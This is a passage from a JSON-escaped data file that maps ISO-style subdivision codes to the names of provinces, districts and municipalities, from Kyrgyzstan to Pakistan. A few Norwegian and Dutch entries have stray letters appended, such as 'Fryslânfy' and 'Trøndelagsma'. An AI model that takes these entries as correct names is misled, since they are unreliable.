\"KG-N\": \"Naryn\",\n  \"KG-O\": \"Osh\",\n  \"KG-GO\": \"Osh Shaary\",\n  \"KG-T\": \"Talas\",\n  \"KG-Y\": \"Ysyk-Köl\",\n  \"LA-AT\": \"Attapu\",\n  \"LA-BK\": \"Bokèo\",\n  \"LA-BL\": \"Bolikhamxai\",\n  \"LA-CH\": \"Champasak\",\n  \"LA-HO\": \"Houaphan\",\n  \"LA-KH\": \"Khammouan\",\n  \"LA-LM\": \"Louang Namtha\",\n  \"LA-LP\": \"Louangphabang\",\n  \"LA-OU\": \"Oudômxai\",\n  \"LA-PH\": \"Phôngsali\",\n  \"LA-SL\": \"Salavan\",\n  \"LA-SV\": \"Savannakhét\",\n  \"LA-VI\": \"Viangchan\",\n  \"LA-VT\": \"Viangchan\",\n  \"LA-XA\": \"Xaignabouli\",\n  \"LA-XS\": \"Xaisômboun\",\n  \"LA-XE\": \"Xékong\",\n  \"LA-XI\": \"Xiangkhouang\",\n  \"LV-002\": \"Aizkraukles novads\",\n  \"LV-007\": \"Alūksnes novads\",\n  \"LV-111\": \"Augšdaugavas novads\",\n  \"LV-011\": \"Ādažu novads\",\n  \"LV-015\": \"Balvu novads\",\n  \"LV-016\": \"Bauskas novads\",\n  \"LV-022\": \"Cēsu novads\",\n  \"LV-DGV\": \"Daugavpils\",\n  \"LV-112\": \"Dienvidkurzemes Novads\",\n  \"LV-026\": \"Dobeles novads\",\n  \"LV-033\": \"Gulbenes novads\",\n  \"LV-JEL\": \"Jelgava\",\n  \"LV-041\": \"Jelgavas novads\",\n  \"LV-042\": \"Jēkabpils novads\",\n  \"LV-JUR\": \"Jūrmala\",\n  \"LV-047\": \"Krāslavas novads\",\n  \"LV-050\": \"Kuldīgas novads\",\n  \"LV-052\": \"Ķekavas novads\",\n  \"LV-LPX\": \"Liepāja\",\n  \"LV-054\": \"Limbažu novads\",\n  \"LV-056\": \"Līvānu novads\",\n  \"LV-058\": \"Ludzas novads\",\n  \"LV-059\": \"Madonas novads\",\n  \"LV-062\": \"Mārupes novads\",\n  \"LV-067\": \"Ogres novads\",\n  \"LV-068\": \"Olaines novads\",\n  \"LV-073\": \"Preiļu novads\",\n  \"LV-REZ\": \"Rēzekne\",\n  \"LV-077\": \"Rēzeknes novads\",\n  \"LV-RIX\": \"Rīga\",\n  \"LV-080\": \"Ropažu novads\",\n  \"LV-087\": \"Salaspils novads\",\n  \"LV-088\": \"Saldus novads\",\n  \"LV-089\": \"Saulkrastu novads\",\n  \"LV-091\": \"Siguldas novads\",\n  \"LV-094\": \"Smiltenes novads\",\n  \"LV-097\": \"Talsu novads\",\n  \"LV-099\": \"Tukuma novads\",\n  \"LV-101\": \"Valkas novads\",\n  \"LV-113\": \"Valmieras Novads\",\n  \"LV-102\": \"Varakļānu novads\",\n  \"LV-VEN\": \"Ventspils\",\n  \"LV-106\": \"Ventspils novads\",\n  \"LB-AK\": \"Aakkâr\",\n  \"LB-BH\": \"Baalbek-Hermel\",\n  \"LB-BI\": \"Béqaa\",\n  \"LB-BA\": \"Beyrouth\",\n  \"LB-AS\": \"Liban-Nord\",\n  \"LB-JA\": \"Liban-Sud\",\n  \"LB-JL\": \"Mont-Liban\",\n  \"LB-NA\": \"Nabatîyé\",\n  \"LS-D\": \"Berea\",\n  \"LS-B\": \"Botha-Bothe\",\n  \"LS-C\": \"Leribe\",\n  \"LS-E\": \"Mafeteng\",\n  \"LS-A\": \"Maseru\",\n  \"LS-F\": \"Mohale's Hoek\",\n  \"LS-J\": \"Mokhotlong\",\n  \"LS-H\": \"Qacha's Nek\",\n  \"LS-G\": \"Quthing\",\n  \"LS-K\": \"Thaba-Tseka\",\n  \"LR-BM\": \"Bomi\",\n  \"LR-BG\": \"Bong\",\n  \"LR-GP\": \"Gbarpolu\",\n  \"LR-GB\": \"Grand Bassa\",\n  \"LR-CM\": \"Grand Cape Mount\",\n  \"LR-GG\": \"Grand Gedeh\",\n  \"LR-GK\": \"Grand Kru\",\n  \"LR-LO\": \"Lofa\",\n  \"LR-MG\": \"Margibi\",\n  \"LR-MY\": \"Maryland\",\n  \"LR-MO\": \"Montserrado\",\n  \"LR-NI\": \"Nimba\",\n  \"LR-RI\": \"River Cess\",\n  \"LR-RG\": \"River Gee\",\n  \"LR-SI\": \"Sinoe\",\n  \"LY-BU\": \"Al Buţnān\",\n  \"LY-JA\": \"Al Jabal al Akhḑar\",\n  \"LY-JG\": \"Al Jabal al Gharbī\",\n  \"LY-JI\": \"Al Jafārah\",\n  \"LY-JU\": \"Al Jufrah\",\n  \"LY-KF\": \"Al Kufrah\",\n  \"LY-MJ\": \"Al Marj\",\n  \"LY-MB\": \"Al Marqab\",\n  \"LY-WA\": \"Al Wāḩāt\",\n  \"LY-NQ\": \"An Nuqāţ al Khams\",\n  \"LY-ZA\": \"Az Zāwiyah\",\n  \"LY-BA\": \"Banghāzī\",\n  \"LY-DR\": \"Darnah\",\n  \"LY-GT\": \"Ghāt\",\n  \"LY-MI\": \"Mişrātah\",\n  \"LY-MQ\": \"Murzuq\",\n  \"LY-NL\": \"Nālūt\",\n  \"LY-SB\": \"Sabhā\",\n  \"LY-SR\": \"Surt\",\n  \"LY-TB\": \"Ţarābulus\",\n  \"LY-WD\": \"Wādī al Ḩayāt\",\n  \"LY-WS\": \"Wādī ash Shāţi’\",\n  \"LI-01\": \"Balzers\",\n  \"LI-02\": \"Eschen\",\n  \"LI-03\": \"Gamprin\",\n  \"LI-04\": \"Mauren\",\n  \"LI-05\": \"Planken\",\n  \"LI-06\": \"Ruggell\",\n  \"LI-07\": \"Schaan\",\n  \"LI-08\": \"Schellenberg\",\n  \"LI-09\": \"Triesen\",\n  \"LI-10\": \"Triesenberg\",\n  \"LI-11\": \"Vaduz\",\n  \"LT-AL\": \"Alytaus apskritis\",\n  \"LT-KU\": \"Kauno apskritis\",\n  \"LT-KL\": \"Klaipėdos apskritis\",\n  \"LT-MR\": \"Marijampolės apskritis\",\n  \"LT-PN\": \"Panevėžio apskritis\",\n  \"LT-SA\": \"Šiaulių apskritis\",\n  \"LT-TA\": \"Tauragės apskritis\",\n  \"LT-TE\": \"Telšių apskritis\",\n  \"LT-UT\": \"Utenos apskritis\",\n  \"LT-VL\": \"Vilniaus apskritis\",\n  \"LU-CA\": \"Capellen\",\n  \"LU-CL\": \"Clervaux\",\n  \"LU-DI\": \"Diekirch\",\n  \"LU-EC\": \"Echternach\",\n  \"LU-ES\": \"Esch-sur-Alzette\",\n  \"LU-GR\": \"Grevenmacher\",\n  \"LU-LU\": \"Luxembourg\",\n  \"LU-ME\": \"Mersch\",\n  \"LU-RD\": \"Redange\",\n  \"LU-RM\": \"Remich\",\n  \"LU-VD\": \"Vianden\",\n  \"LU-WI\": \"Wiltz\",\n  \"MG-T\": \"Antananarivo\",\n  \"MG-D\": \"Antsiranana\",\n  \"MG-F\": \"Fianarantsoa\",\n  \"MG-M\": \"Mahajanga\",\n  \"MG-A\": \"Toamasina\",\n  \"MG-U\": \"Toliara\",\n  \"MW-N\": \"Chakumpoto\",\n  \"MW-S\": \"Chakumwera\",\n  \"MW-C\": \"Chapakati\",\n  \"MY-01\": \"Johor\",\n  \"MY-02\": \"Kedah\",\n  \"MY-03\": \"Kelantan\",\n  \"MY-04\": \"Melaka\",\n  \"MY-05\": \"Negeri Sembilan\",\n  \"MY-06\": \"Pahang\",\n  \"MY-08\": \"Perak\",\n  \"MY-09\": \"Perlis\",\n  \"MY-07\": \"Pulau Pinang\",\n  \"MY-12\": \"Sabah\",\n  \"MY-13\": \"Sarawak\",\n  \"MY-10\": \"Selangor\",\n  \"MY-11\": \"Terengganu\",\n  \"MY-14\": \"Wilayah Persekutuan Kuala Lumpur\",\n  \"MY-15\": \"Wilayah Persekutuan Labuan\",\n  \"MY-16\": \"Wilayah Persekutuan Putrajaya\",\n  \"MV-01\": \"Addu\",\n  \"MV-00\": \"Ariatholhu Dhekunuburi\",\n  \"MV-02\": \"Ariatholhu Uthuruburi\",\n  \"MV-03\": \"Faadhippolhu\",\n  \"MV-04\": \"Felidheatholhu\",\n  \"MV-29\": \"Fuvammulah\",\n  \"MV-05\": \"Hahdhunmathi\",\n  \"MV-28\": \"Huvadhuatholhu Dhekunuburi\",\n  \"MV-27\": \"Huvadhuatholhu Uthuruburi\",\n  \"MV-08\": \"Kolhumadulu\",\n  \"MV-MLE\": \"Maale\",\n  \"MV-26\": \"Maaleatholhu\",\n  \"MV-20\": \"Maalhosmadulu Dhekunuburi\",\n  \"MV-13\": \"Maalhosmadulu Uthuruburi\",\n  \"MV-25\": \"Miladhunmadulu Dhekunuburi\",\n  \"MV-24\": \"Miladhunmadulu Uthuruburi\",\n  \"MV-12\": \"Mulakatholhu\",\n  \"MV-17\": \"Nilandheatholhu Dhekunuburi\",\n  \"MV-14\": \"Nilandheatholhu Uthuruburi\",\n  \"MV-23\": \"Thiladhunmathee Dhekunuburi\",\n  \"MV-07\": \"Thiladhunmathee Uthuruburi\",\n  \"ML-BKO\": \"Bamako\",\n  \"ML-7\": \"Gao\",\n  \"ML-1\": \"Kayes\",\n  \"ML-8\": \"Kidal\",\n  \"ML-2\": \"Koulikoro\",\n  \"ML-9\": \"Ménaka\",\n  \"ML-5\": \"Mopti\",\n  \"ML-4\": \"Ségou\",\n  \"ML-3\": \"Sikasso\",\n  \"ML-10\": \"Taoudénit\",\n  \"ML-6\": \"Tombouctou\",\n  \"MT-01\": \"Attard\",\n  \"MT-02\": \"Balzan\",\n  \"MT-03\": \"Birgu\",\n  \"MT-04\": \"Birkirkara\",\n  \"MT-05\": \"Birżebbuġa\",\n  \"MT-06\": \"Bormla\",\n  \"MT-07\": \"Dingli\",\n  \"MT-08\": \"Fgura\",\n  \"MT-09\": \"Floriana\",\n  \"MT-10\": \"Fontana\",\n  \"MT-11\": \"Gudja\",\n  \"MT-12\": \"Gżira\",\n  \"MT-13\": \"Għajnsielem\",\n  \"MT-14\": \"Għarb\",\n  \"MT-15\": \"Għargħur\",\n  \"MT-16\": \"Għasri\",\n  \"MT-17\": \"Għaxaq\",\n  \"MT-18\": \"Ħamrun\",\n  \"MT-19\": \"Iklin\",\n  \"MT-20\": \"Isla\",\n  \"MT-21\": \"Kalkara\",\n  \"MT-22\": \"Kerċem\",\n  \"MT-23\": \"Kirkop\",\n  \"MT-24\": \"Lija\",\n  \"MT-25\": \"Luqa\",\n  \"MT-26\": \"Marsa\",\n  \"MT-27\": \"Marsaskala\",\n  \"MT-28\": \"Marsaxlokk\",\n  \"MT-29\": \"Mdina\",\n  \"MT-30\": \"Mellieħa\",\n  \"MT-31\": \"Mġarr\",\n  \"MT-32\": \"Mosta\",\n  \"MT-33\": \"Mqabba\",\n  \"MT-34\": \"Msida\",\n  \"MT-35\": \"Mtarfa\",\n  \"MT-36\": \"Munxar\",\n  \"MT-37\": \"Nadur\",\n  \"MT-38\": \"Naxxar\",\n  \"MT-39\": \"Paola\",\n  \"MT-40\": \"Pembroke\",\n  \"MT-41\": \"Pietà\",\n  \"MT-42\": \"Qala\",\n  \"MT-43\": \"Qormi\",\n  \"MT-44\": \"Qrendi\",\n  \"MT-45\": \"Rabat Għawdex\",\n  \"MT-46\": \"Rabat Malta\",\n  \"MT-47\": \"Safi\",\n  \"MT-48\": \"San Ġiljan\",\n  \"MT-49\": \"San Ġwann\",\n  \"MT-50\": \"San Lawrenz\",\n  \"MT-51\": \"San Pawl il-Baħar\",\n  \"MT-52\": \"Sannat\",\n  \"MT-53\": \"Santa Luċija\",\n  \"MT-54\": \"Santa Venera\",\n  \"MT-55\": \"Siġġiewi\",\n  \"MT-56\": \"Sliema\",\n  \"MT-57\": \"Swieqi\",\n  \"MT-58\": \"Ta' Xbiex\",\n  \"MT-59\": \"Tarxien\",\n  \"MT-60\": \"Valletta\",\n  \"MT-61\": \"Xagħra\",\n  \"MT-62\": \"Xewkija\",\n  \"MT-63\": \"Xgħajra\",\n  \"MT-64\": \"Żabbar\",\n  \"MT-65\": \"Żebbuġ Għawdex\",\n  \"MT-66\": \"Żebbuġ Malta\",\n  \"MT-67\": \"Żejtun\",\n  \"MT-68\": \"Żurrieq\",\n  \"MH-L\": \"Ralik chain\",\n  \"MH-T\": \"Ratak chain\",\n  \"MR-07\": \"Adrar\",\n  \"MR-03\": \"Assaba\",\n  \"MR-05\": \"Brakna\",\n  \"MR-08\": \"Dakhlet Nouâdhibou\",\n  \"MR-04\": \"Gorgol\",\n  \"MR-10\": \"Guidimaka\",\n  \"MR-01\": \"Hodh ech Chargui\",\n  \"MR-02\": \"Hodh el Gharbi\",\n  \"MR-12\": \"Inchiri\",\n  \"MR-09\": \"Tagant\",\n  \"MR-11\": \"Tiris Zemmour\",\n  \"MR-06\": \"Trarza\",\n  \"MU-AG\": \"Agalega Islands\",\n  \"MU-BL\": \"Black River\",\n  \"MU-CC\": \"Cargados Carajos Shoals\",\n  \"MU-FL\": \"Flacq\",\n  \"MU-GP\": \"Grand Port\",\n  \"MU-MO\": \"Moka\",\n  \"MU-PA\": \"Pamplemousses\",\n  \"MU-PW\": \"Plaines Wilhems\",\n  \"MU-PL\": \"Port Louis\",\n  \"MU-RR\": \"Rivière du Rempart\",\n  \"MU-RO\": \"Rodrigues Island\",\n  \"MU-SA\": \"Savanne\",\n  \"MX-AGU\": \"Aguascalientes\",\n  \"MX-BCN\": \"Baja California\",\n  \"MX-BCS\": \"Baja California Sur\",\n  \"MX-CAM\": \"Campeche\",\n  \"MX-CMX\": \"Ciudad de México\",\n  \"MX-COA\": \"Coahuila de Zaragoza\",\n  \"MX-COL\": \"Colima\",\n  \"MX-CHP\": \"Chiapas\",\n  \"MX-CHH\": \"Chihuahua\",\n  \"MX-DUR\": \"Durango\",\n  \"MX-GUA\": \"Guanajuato\",\n  \"MX-GRO\": \"Guerrero\",\n  \"MX-HID\": \"Hidalgo\",\n  \"MX-JAL\": \"Jalisco\",\n  \"MX-MEX\": \"México\",\n  \"MX-MIC\": \"Michoacán de Ocampo\",\n  \"MX-MOR\": \"Morelos\",\n  \"MX-NAY\": \"Nayarit\",\n  \"MX-NLE\": \"Nuevo León\",\n  \"MX-OAX\": \"Oaxaca\",\n  \"MX-PUE\": \"Puebla\",\n  \"MX-QUE\": \"Querétaro\",\n  \"MX-ROO\": \"Quintana Roo\",\n  \"MX-SLP\": \"San Luis Potosí\",\n  \"MX-SIN\": \"Sinaloa\",\n  \"MX-SON\": \"Sonora\",\n  \"MX-TAB\": \"Tabasco\",\n  \"MX-TAM\": \"Tamaulipas\",\n  \"MX-TLA\": \"Tlaxcala\",\n  \"MX-VER\": \"Veracruz de Ignacio de la Llave\",\n  \"MX-YUC\": \"Yucatán\",\n  \"MX-ZAC\": \"Zacatecas\",\n  \"FM-TRK\": \"Chuuk\",\n  \"FM-KSA\": \"Kosrae\",\n  \"FM-PNI\": \"Pohnpei\",\n  \"FM-YAP\": \"Yap\",\n  \"MD-AN\": \"Anenii Noi\",\n  \"MD-BS\": \"Basarabeasca\",\n  \"MD-BA\": \"Bălți\",\n  \"MD-BD\": \"Bender\",\n  \"MD-BR\": \"Briceni\",\n  \"MD-CA\": \"Cahul\",\n  \"MD-CT\": \"Cantemir\",\n  \"MD-CL\": \"Călărași\",\n  \"MD-CS\": \"Căușeni\",\n  \"MD-CU\": \"Chișinău\",\n  \"MD-CM\": \"Cimișlia\",\n  \"MD-CR\": \"Criuleni\",\n  \"MD-DO\": \"Dondușeni\",\n  \"MD-DR\": \"Drochia\",\n  \"MD-DU\": \"Dubăsari\",\n  \"MD-ED\": \"Edineț\",\n  \"MD-FA\": \"Fălești\",\n  \"MD-FL\": \"Florești\",\n  \"MD-GA\": \"Găgăuzia\",\n  \"MD-GL\": \"Glodeni\",\n  \"MD-HI\": \"Hîncești\",\n  \"MD-IA\": \"Ialoveni\",\n  \"MD-LE\": \"Leova\",\n  \"MD-NI\": \"Nisporeni\",\n  \"MD-OC\": \"Ocnița\",\n  \"MD-OR\": \"Orhei\",\n  \"MD-RE\": \"Rezina\",\n  \"MD-RI\": \"Rîșcani\",\n  \"MD-SI\": \"Sîngerei\",\n  \"MD-SO\": \"Soroca\",\n  \"MD-SN\": \"Stînga Nistrului\",\n  \"MD-ST\": \"Strășeni\",\n  \"MD-SD\": \"Șoldănești\",\n  \"MD-SV\": \"Ștefan Vodă\",\n  \"MD-TA\": \"Taraclia\",\n  \"MD-TE\": \"Telenești\",\n  \"MD-UN\": \"Ungheni\",\n  \"MC-FO\": \"Fontvieille\",\n  \"MC-JE\": \"Jardin Exotique\",\n  \"MC-CL\": \"La Colle\",\n  \"MC-CO\": \"La Condamine\",\n  \"MC-GA\": \"La Gare\",\n  \"MC-SO\": \"La Source\",\n  \"MC-LA\": \"Larvotto\",\n  \"MC-MA\": \"Malbousquet\",\n  \"MC-MO\": \"Monaco-Ville\",\n  \"MC-MG\": \"Moneghetti\",\n  \"MC-MC\": \"Monte-Carlo\",\n  \"MC-MU\": \"Moulins\",\n  \"MC-PH\": \"Port-Hercule\",\n  \"MC-SR\": \"Saint-Roman\",\n  \"MC-SD\": \"Sainte-Dévote\",\n  \"MC-SP\": \"Spélugues\",\n  \"MC-VR\": \"Vallon de la Rousse\",\n  \"MN-073\": \"Arhangay\",\n  \"MN-069\": \"Bayanhongor\",\n  \"MN-071\": \"Bayan-Ölgiy\",\n  \"MN-067\": \"Bulgan\",\n  \"MN-037\": \"Darhan uul\",\n  \"MN-061\": \"Dornod\",\n  \"MN-063\": \"Dornogovĭ\",\n  \"MN-059\": \"Dundgovĭ\",\n  \"MN-057\": \"Dzavhan\",\n  \"MN-065\": \"Govĭ-Altay\",\n  \"MN-064\": \"Govĭ-Sümber\",\n  \"MN-039\": \"Hentiy\",\n  \"MN-043\": \"Hovd\",\n  \"MN-041\": \"Hövsgöl\",\n  \"MN-053\": \"Ömnögovĭ\",\n  \"MN-035\": \"Orhon\",\n  \"MN-055\": \"Övörhangay\",\n  \"MN-049\": \"Selenge\",\n  \"MN-051\": \"Sühbaatar\",\n  \"MN-047\": \"Töv\",\n  \"MN-1\": \"Ulaanbaatar\",\n  \"MN-046\": \"Uvs\",\n  \"MA-05\": \"Béni Mellal-Khénifra\",\n  \"MA-06\": \"Casablanca-Settat\",\n  \"MA-12\": \"Dakhla-Oued Ed-Dahab\",\n  \"MA-08\": \"Drâa-Tafilalet\",\n  \"MA-03\": \"Fès-Meknès\",\n  \"MA-10\": \"Guelmim-Oued Noun\",\n  \"MA-02\": \"L'Oriental\",\n  \"MA-11\": \"Laâyoune-Sakia El Hamra\",\n  \"MA-07\": \"Marrakech-Safi\",\n  \"MA-04\": \"Rabat-Salé-Kénitra\",\n  \"MA-09\": \"Souss-Massa\",\n  \"MA-01\": \"Tanger-Tétouan-Al Hoceïma\",\n  \"MZ-P\": \"Cabo Delgado\",\n  \"MZ-G\": \"Gaza\",\n  \"MZ-I\": \"Inhambane\",\n  \"MZ-B\": \"Manica\",\n  \"MZ-MPM\": \"Maputo\",\n  \"MZ-L\": \"Maputo\",\n  \"MZ-N\": \"Nampula\",\n  \"MZ-A\": \"Niassa\",\n  \"MZ-S\": \"Sofala\",\n  \"MZ-T\": \"Tete\",\n  \"MZ-Q\": \"Zambézia\",\n  \"MM-07\": \"Ayeyarwady\",\n  \"MM-02\": \"Bago\",\n  \"MM-14\": \"Chin\",\n  \"MM-11\": \"Kachin\",\n  \"MM-12\": \"Kayah\",\n  \"MM-13\": \"Kayin\",\n  \"MM-03\": \"Magway\",\n  \"MM-04\": \"Mandalay\",\n  \"MM-15\": \"Mon\",\n  \"MM-18\": \"Nay Pyi Taw\",\n  \"MM-16\": \"Rakhine\",\n  \"MM-01\": \"Sagaing\",\n  \"MM-17\": \"Shan\",\n  \"MM-05\": \"Tanintharyi\",\n  \"MM-06\": \"Yangon\",\n  \"NA-ER\": \"Erongo\",\n  \"NA-HA\": \"Hardap\",\n  \"NA-KA\": \"//Karas\",\n  \"NA-KE\": \"Kavango East\",\n  \"NA-KW\": \"Kavango West\",\n  \"NA-KH\": \"Khomas\",\n  \"NA-KU\": \"Kunene\",\n  \"NA-OW\": \"Ohangwena\",\n  \"NA-OH\": \"Omaheke\",\n  \"NA-OS\": \"Omusati\",\n  \"NA-ON\": \"Oshana\",\n  \"NA-OT\": \"Oshikoto\",\n  \"NA-OD\": \"Otjozondjupa\",\n  \"NA-CA\": \"Zambezi\",\n  \"NR-01\": \"Aiwo\",\n  \"NR-02\": \"Anabar\",\n  \"NR-03\": \"Anetan\",\n  \"NR-04\": \"Anibare\",\n  \"NR-05\": \"Baitsi\",\n  \"NR-06\": \"Boe\",\n  \"NR-07\": \"Buada\",\n  \"NR-08\": \"Denigomodu\",\n  \"NR-09\": \"Ewa\",\n  \"NR-10\": \"Ijuw\",\n  \"NR-11\": \"Meneng\",\n  \"NR-12\": \"Nibok\",\n  \"NR-13\": \"Uaboe\",\n  \"NR-14\": \"Yaren\",\n  \"NP-P3\": \"Bāgmatī\",\n  \"NP-P4\": \"Gaṇḍakī\",\n  \"NP-P6\": \"Karṇālī\",\n  \"NP-P1\": \"Koshī\",\n  \"NP-P5\": \"Lumbinī\",\n  \"NP-P2\": \"Madhesh\",\n  \"NP-P7\": \"Sudūrpashchim\",\n  \"NL-DR\": \"Drenthe\",\n  \"NL-FL\": \"Flevoland\",\n  \"NL-FR\": \"Fryslânfy\",\n  \"NL-GE\": \"Gelderland\",\n  \"NL-GR\": \"Groningen\",\n  \"NL-LI\": \"Limburg\",\n  \"NL-NB\": \"Noord-Brabant\",\n  \"NL-NH\": \"Noord-Holland\",\n  \"NL-OV\": \"Overijssel\",\n  \"NL-UT\": \"Utrecht\",\n  \"NL-ZE\": \"Zeeland\",\n  \"NL-ZH\": \"Zuid-Holland\",\n  \"NZ-AUK\": \"Auckland\",\n  \"NZ-BOP\": \"Bay of Plenty\",\n  \"NZ-CAN\": \"Canterbury\",\n  \"NZ-CIT\": \"Chatham Islands Territory\",\n  \"NZ-GIS\": \"Gisborne\",\n  \"NZ-WGN\": \"Greater Wellington\",\n  \"NZ-HKB\": \"Hawke's Bay\",\n  \"NZ-MWT\": \"Manawatū-Whanganui\",\n  \"NZ-MBH\": \"Marlborough\",\n  \"NZ-NSN\": \"Nelson\",\n  \"NZ-NTL\": \"Northland\",\n  \"NZ-OTA\": \"Otago\",\n  \"NZ-STL\": \"Southland\",\n  \"NZ-TKI\": \"Taranaki\",\n  \"NZ-TAS\": \"Tasman\",\n  \"NZ-WKO\": \"Waikato\",\n  \"NZ-WTC\": \"West Coast\",\n  \"NI-BO\": \"Boaco\",\n  \"NI-CA\": \"Carazo\",\n  \"NI-CI\": \"Chinandega\",\n  \"NI-CO\": \"Chontales\",\n  \"NI-AN\": \"Costa Caribe Norte\",\n  \"NI-AS\": \"Costa Caribe Sur\",\n  \"NI-ES\": \"Estelí\",\n  \"NI-GR\": \"Granada\",\n  \"NI-JI\": \"Jinotega\",\n  \"NI-LE\": \"León\",\n  \"NI-MD\": \"Madriz\",\n  \"NI-MN\": \"Managua\",\n  \"NI-MS\": \"Masaya\",\n  \"NI-MT\": \"Matagalpa\",\n  \"NI-NS\": \"Nueva Segovia\",\n  \"NI-SJ\": \"Río San Juan\",\n  \"NI-RI\": \"Rivas\",\n  \"NE-1\": \"Agadez\",\n  \"NE-2\": \"Diffa\",\n  \"NE-3\": \"Dosso\",\n  \"NE-4\": \"Maradi\",\n  \"NE-8\": \"Niamey\",\n  \"NE-5\": \"Tahoua\",\n  \"NE-6\": \"Tillabéri\",\n  \"NE-7\": \"Zinder\",\n  \"NG-AB\": \"Abia\",\n  \"NG-FC\": \"Abuja Federal Capital Territory\",\n  \"NG-AD\": \"Adamawa\",\n  \"NG-AK\": \"Akwa Ibom\",\n  \"NG-AN\": \"Anambra\",\n  \"NG-BA\": \"Bauchi\",\n  \"NG-BY\": \"Bayelsa\",\n  \"NG-BE\": \"Benue\",\n  \"NG-BO\": \"Borno\",\n  \"NG-CR\": \"Cross River\",\n  \"NG-DE\": \"Delta\",\n  \"NG-EB\": \"Ebonyi\",\n  \"NG-ED\": \"Edo\",\n  \"NG-EK\": \"Ekiti\",\n  \"NG-EN\": \"Enugu\",\n  \"NG-GO\": \"Gombe\",\n  \"NG-IM\": \"Imo\",\n  \"NG-JI\": \"Jigawa\",\n  \"NG-KD\": \"Kaduna\",\n  \"NG-KN\": \"Kano\",\n  \"NG-KT\": \"Katsina\",\n  \"NG-KE\": \"Kebbi\",\n  \"NG-KO\": \"Kogi\",\n  \"NG-KW\": \"Kwara\",\n  \"NG-LA\": \"Lagos\",\n  \"NG-NA\": \"Nasarawa\",\n  \"NG-NI\": \"Niger\",\n  \"NG-OG\": \"Ogun\",\n  \"NG-ON\": \"Ondo\",\n  \"NG-OS\": \"Osun\",\n  \"NG-OY\": \"Oyo\",\n  \"NG-PL\": \"Plateau\",\n  \"NG-RI\": \"Rivers\",\n  \"NG-SO\": \"Sokoto\",\n  \"NG-TA\": \"Taraba\",\n  \"NG-YO\": \"Yobe\",\n  \"NG-ZA\": \"Zamfara\",\n  \"MK-801\": \"Aerodrom\",\n  \"MK-802\": \"Aračinovo\",\n  \"MK-201\": \"Berovo\",\n  \"MK-501\": \"Bitola\",\n  \"MK-401\": \"Bogdanci\",\n  \"MK-601\": \"Bogovinje\",\n  \"MK-402\": \"Bosilovo\",\n  \"MK-602\": \"Brvenica\",\n  \"MK-803\": \"Butel\",\n  \"MK-814\": \"Centar\",\n  \"MK-313\": \"Centar Župa\",\n  \"MK-815\": \"Čair\",\n  \"MK-109\": \"Čaška\",\n  \"MK-210\": \"Češinovo-Obleševo\",\n  \"MK-816\": \"Čučer-Sandevo\",\n  \"MK-303\": \"Debar\",\n  \"MK-304\": \"Debrca\",\n  \"MK-203\": \"Delčevo\",\n  \"MK-502\": \"Demir Hisar\",\n  \"MK-103\": \"Demir Kapija\",\n  \"MK-406\": \"Dojran\",\n  \"MK-503\": \"Dolneni\",\n  \"MK-804\": \"Gazi Baba\",\n  \"MK-405\": \"Gevgelija\",\n  \"MK-805\": \"Gjorče Petrov\",\n  \"MK-604\": \"Gostivar\",\n  \"MK-102\": \"Gradsko\",\n  \"MK-807\": \"Ilinden\",\n  \"MK-606\": \"Jegunovce\",\n  \"MK-205\": \"Karbinci\",\n  \"MK-808\": \"Karpoš\",\n  \"MK-104\": \"Kavadarci\",\n  \"MK-307\": \"Kičevo\",\n  \"MK-809\": \"Kisela Voda\",\n  \"MK-206\": \"Kočani\",\n  \"MK-407\": \"Konče\",\n  \"MK-701\": \"Kratovo\",\n  \"MK-702\": \"Kriva Palanka\",\n  \"MK-504\": \"Krivogaštani\",\n  \"MK-505\": \"Kruševo\",\n  \"MK-703\": \"Kumanovo\",\n  \"MK-704\": \"Lipkovo\",\n  \"MK-105\": \"Lozovo\",\n  \"MK-207\": \"Makedonska Kamenica\",\n  \"MK-308\": \"Makedonski Brod\",\n  \"MK-607\": \"Mavrovo i Rostuše\",\n  \"MK-506\": \"Mogila\",\n  \"MK-106\": \"Negotino\",\n  \"MK-507\": \"Novaci\",\n  \"MK-408\": \"Novo Selo\",\n  \"MK-310\": \"Ohrid\",\n  \"MK-208\": \"Pehčevo\",\n  \"MK-810\": \"Petrovec\",\n  \"MK-311\": \"Plasnica\",\n  \"MK-508\": \"Prilep\",\n  \"MK-209\": \"Probištip\",\n  \"MK-409\": \"Radoviš\",\n  \"MK-705\": \"Rankovce\",\n  \"MK-509\": \"Resen\",\n  \"MK-107\": \"Rosoman\",\n  \"MK-811\": \"Saraj\",\n  \"MK-812\": \"Sopište\",\n  \"MK-706\": \"Staro Nagoričane\",\n  \"MK-312\": \"Struga\",\n  \"MK-410\": \"Strumica\",\n  \"MK-813\": \"Studeničani\",\n  \"MK-108\": \"Sveti Nikole\",\n  \"MK-211\": \"Štip\",\n  \"MK-817\": \"Šuto Orizari\",\n  \"MK-608\": \"Tearce\",\n  \"MK-609\": \"Tetovo\",\n  \"MK-403\": \"Valandovo\",\n  \"MK-404\": \"Vasilevo\",\n  \"MK-101\": \"Veles\",\n  \"MK-301\": \"Vevčani\",\n  \"MK-202\": \"Vinica\",\n  \"MK-603\": \"Vrapčište\",\n  \"MK-806\": \"Zelenikovo\",\n  \"MK-204\": \"Zrnovci\",\n  \"MK-605\": \"Želino\",\n  \"NO-42\": \"Agder\",\n  \"NO-34\": \"Innlandet\",\n  \"NO-22\": \"Jan Mayen\",\n  \"NO-15\": \"Møre og Romsdal\",\n  \"NO-18\": \"Nordland\",\n  \"NO-03\": \"Oslo\",\n  \"NO-11\": \"Rogaland\",\n  \"NO-21\": \"Svalbard\",\n  \"NO-54\": \"Troms og Finnmarksefkv\",\n  \"NO-50\": \"Trøndelagsma\",\n  \"NO-38\": \"Vestfold og Telemark\",\n  \"NO-46\": \"Vestland\",\n  \"NO-30\": \"Viken\",\n  \"OM-DA\": \"Ad Dākhilīyah\",\n  \"OM-BU\": \"Al Buraymī\",\n  \"OM-WU\": \"Al Wusţá\",\n  \"OM-ZA\": \"Az̧ Z̧āhirah\",\n  \"OM-BJ\": \"Janūb al Bāţinah\",\n  \"OM-SJ\": \"Janūb ash Sharqīyah\",\n  \"OM-MA\": \"Masqaţ\",\n  \"OM-MU\": \"Musandam\",\n  \"OM-BS\": \"Shamāl al Bāţinah\",\n  \"OM-SS\": \"Shamāl ash Sharqīyah\",\n  \"OM-ZU\": \"Z̧ufār\",\n  \"PK-JK\": \"Āzād Jammūñ o Kashmīr\",\n  \"PK-BA\": \"Balōchistān\",\n  \"PK-GB\": \"Gilgit-Baltistān\",\n  \"PK-IS\": \"Islāmābād\",\n  \"PK-KP\": \"Khaībar Pakhtūnkhwā\",\n  \"PK-PB\": \"Panjāb\",\n  